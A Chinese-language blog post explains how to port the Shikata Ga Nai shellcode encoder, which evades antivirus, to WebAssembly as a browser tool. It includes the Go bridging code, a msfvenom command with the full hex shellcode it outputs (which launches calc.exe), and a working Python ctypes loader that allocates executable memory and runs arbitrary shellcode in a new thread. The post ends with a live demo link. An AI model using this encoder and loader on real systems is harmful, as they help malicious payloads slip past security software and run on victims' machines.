将Shikata ga nai带到前端
Shikata ga nai是什么
Metasploit-Framework是一个漏洞利用框架,里面有大量的漏洞库,针对shellcode一些混淆编码器可以让用户bypass一些安全软件,其中一个比较核心的编码器是Shikata Ga Nai (SGN)。
shellcode 主要是机器码,也可以看作一段汇编指令。Metasploit 在默认配置下就会对payload进行编码。虽然 Metasploit 有各种编码器,但最受欢迎的是 SGN。日语中的短语 SGN 的意思是“无能为力”,之所以这样说,是因为它在创建时传统的反病毒产品难以检测。
检测 SGN 编码的payload很困难,尤其是在严重依赖静态检测的情况下。任何基于规则的静态检测机制基本上都无法检测到用 SGN 编码的payload。而不断扫描内存的计算成本很高,因此不太可行。这使得大多数杀软依赖于行为指标和沙箱进行检测。
为什么说带到前端
首先介绍下 EgeBalci/sgn,这个项目将msf的Shikata Ga Nai编码器移植到了Golang,使得用户可以不通过msf即可享受到SGN的能力。
既然这个项目是非平台依赖的工具,那我们可以考虑将它移植到前端,这样用户只需要打开浏览器就能用了。
移植思路
首先我们可以考虑:sgn是一个golang项目,所以我们可以编译到wasm,然后暴露api给javascript来调用,这样就可以实现前端使用sgn了。
但是遇到了一些问题。
该项目并不是一个Pure Go项目,它依赖cgo,没办法编译到wasm。
但是我记得 github.com/therecipe/qt 可以编译到wasm,通过一些研究,发现它是采用了go-js-qt的桥接,qt是可以编译到wasm的,go也可以编译到wasm,然后两者之间再桥接起来。那我们可以尝试先将 github.com/keystone-engine/keystone 编译到wasm,然后将sgn项目里面调用cgo的地方全部使用 syscall/js 桥接到keystone上去,此时sgn变成了一个Pure Go项目,可以将其编译到wasm了,然后再暴露出一个接口就可以供js使用了
实现手段
cgo到桥接
sgn里面需要使用cgo是因为依赖 github.com/EgeBalci/keystone-go,看了一下这个项目,其实是keystone的包装,keystone是一个c++写的项目,所以我们可以考虑使用 emscripten 来将keystone编译到wasm,不过该项工作已经有人做了,我们在这边就不自己再花时间搭环境编译了,可以看看 alexaltea.github.io/keystone.js/
然后我们看看sgn里面依赖cgo的地方,主要是在 pkg/sgn.go
package sgn
import (
...
"github.com/EgeBalci/keystone-go"
)
...
// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
var mode keystone.Mode
switch encoder.architecture {
case 32:
mode = keystone.MODE_32
case 64:
mode = keystone.MODE_64
default:
return nil, false
}
ks, err := keystone.New(keystone.ARCH_X86, mode)
if err != nil {
return nil, false
}
defer ks.Close()
err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
if err != nil {
return nil, false
}
//log.Println(asm)
bin, _, ok := ks.Assemble(asm, 0)
return bin, ok
}
// GetAssemblySize assembes the given instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
var mode keystone.Mode
switch encoder.architecture {
case 32:
mode = keystone.MODE_32
case 64:
mode = keystone.MODE_64
default:
return -1
}
ks, err := keystone.New(keystone.ARCH_X86, mode)
if err != nil {
return -1
}
defer ks.Close()
err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
if err != nil {
return -1
}
//log.Println(asm)
bin, _, ok := ks.Assemble(asm, 0)
if !ok {
return -1
}
return len(bin)
}
...
其实工作量并不大,只是需要把所有对 keystone-go 的调用换到keystone.js上即可。
可以一步步按照 https://pkg.go.dev/syscall/js 上面的api文档对照着改,这里我就不详细阐述语法了,之间将改动后的贴上来
package sgn
import (
...
"syscall/js"
)
func GetKeystone() js.Value {
return js.Global().Get("ks")
}
// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
var mode js.Value
switch encoder.architecture {
case 32:
mode = GetKeystone().Get("MODE_32")
case 64:
mode = GetKeystone().Get("MODE_64")
default:
return nil, false
}
keystoneFunc := GetKeystone().Get("Keystone")
ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
if !ks.Truthy() {
return nil, false
}
defer ks.Call("close")
ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))
v := ks.Call("asm", asm)
if !v.Truthy() {
return nil, false
}
ok := !v.Get("failed").Bool()
if !v.Get("mc").Truthy() {
return nil, false
}
var bin = make([]byte, v.Get("mc").Length())
for i:=0; i<v.Get("mc").Length(); i++ {
bin[i] = byte(v.Get("mc").Index(i).Int())
}
return bin, ok
}
// GetAssemblySize assembes the given instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
var mode js.Value
switch encoder.architecture {
case 32:
mode = GetKeystone().Get("MODE_32")
case 64:
mode = GetKeystone().Get("MODE_64")
default:
return -1
}
keystoneFunc := GetKeystone().Get("Keystone")
ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
if !ks.Truthy() {
return -1
}
defer ks.Call("close")
ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))
//log.Println(asm)
v := ks.Call("asm", asm)
if !v.Truthy() {
return -1
}
ok := v.Get("failed").Bool()
if !ok {
return -1
}
if !v.Get("mc").Truthy() {
return -1
}
return v.Get("mc").Length()
}
可以看到基本上就是使用 syscall/js 库按照 keystone.js 的文档再把原先的实现一遍。
现在可以编译到wasm了 GOARCH=wasm GOOS=js go build -trimpath -ldflags="-s -w"
然后可以使用 https://github.com/golang/go/blob/master/misc/wasm/go_js_wasm_exec 运行测试下,我这里就不做了。
api暴露
我们js调用wasm库,肯定需要一个api入口,我们可以将sgn的main入口改造一下
go编译到wasm后需要一个特殊的js文件加载下,具体需要 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.js
相关样例可以查看golang官方示例 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.html
然后我们可以将main函数改写一下
func sgnExec(arch, encCount, obsLevel int, encDecoder, asciPayload, saveRegisters bool, badChars, input string) map[string]interface{} {
var res = map[string]interface{}{
"err": nil,
"result": nil,
}
source, err := hex.DecodeString(strings.ReplaceAll(input, `\x`, ""))
if err != nil {
res["err"] = err
return res
}
payload := []byte{}
encoder := sgn.NewEncoder()
encoder.ObfuscationLimit = obsLevel
encoder.PlainDecoder = encDecoder
encoder.EncodingCount = encCount
encoder.SaveRegisters = saveRegisters
eror(encoder.SetArchitecture(arch))
if badChars != "" || asciPayload {
badBytes, err := hex.DecodeString(strings.ReplaceAll(badChars, `\x`, ""))
eror(err)
for {
p, err := encode(encoder, source)
eror(err)
if (asciPayload && isASCIIPrintable(string(p))) || (len(badBytes) > 0 && !containsBytes(p, badBytes)) {
payload = p
break
}
encoder.Seed = (encoder.Seed + 1) % 255
}
} else {
payload, err = encode(encoder, source)
eror(err)
}
res["result"] = hex.EncodeToString(payload)
return res
}
sgnExec 实现了原先main的功能,只是把命令行参数改为了函数参数传入,然后我们把这个函数暴露给js,需要为 sgnExec 函数套一个壳,从 args[0] 获取入参,计算结果用 js.ValueOf 包装,并返回。
func sgnFunc(this js.Value, args []js.Value) interface{} {
arch := args[0].Int()
encCount := args[1].Int()
obsLevel := args[2].Int()
encDecoder := args[3].Bool()
asciPayload := args[4].Bool()
saveRegisters := args[5].Bool()
badChars := args[6].String()
input := args[7].String()
return js.ValueOf(sgnExec(arch, encCount, obsLevel, encDecoder, asciPayload, saveRegisters, badChars, input))
}
该函数将js传入的参数进行转换然后调用sgnExec并将结果返回
然后我们使用 js.Global().Set() 方法,将函数 sgnFunc 注册到全局,以便在浏览器中能够调用。
func main() {
done := make(chan int, 0)
js.Global().Set("sgnFunc", js.FuncOf(sgnFunc))
<-done
}
现在可以导入这个wasm,然后通过js来调用函数 sgnFunc 了。可以按照前面给出的golang官方示例写一个简陋的前端。下面会给出一个live demo
测试
首先我们先生成一个shellcode,这里我直接使用msf
$ ./msfvenom -p windows/x64/exec CMD=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500
然后我们快速写个py脚本执行测试下shellcode
import ctypes
import sys
shellcode = bytes.fromhex(sys.argv[1].strip())
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
然后运行下原始的shellcode
可以看到弹出了计算器
然后我们放在页面上编码混淆一下
然后运行一下
可以看到,shellcode功能正常。
Live Demo
如果大家想在线体验一下,可以到 https://akkuman.github.io/sgn-html/ 体验一下。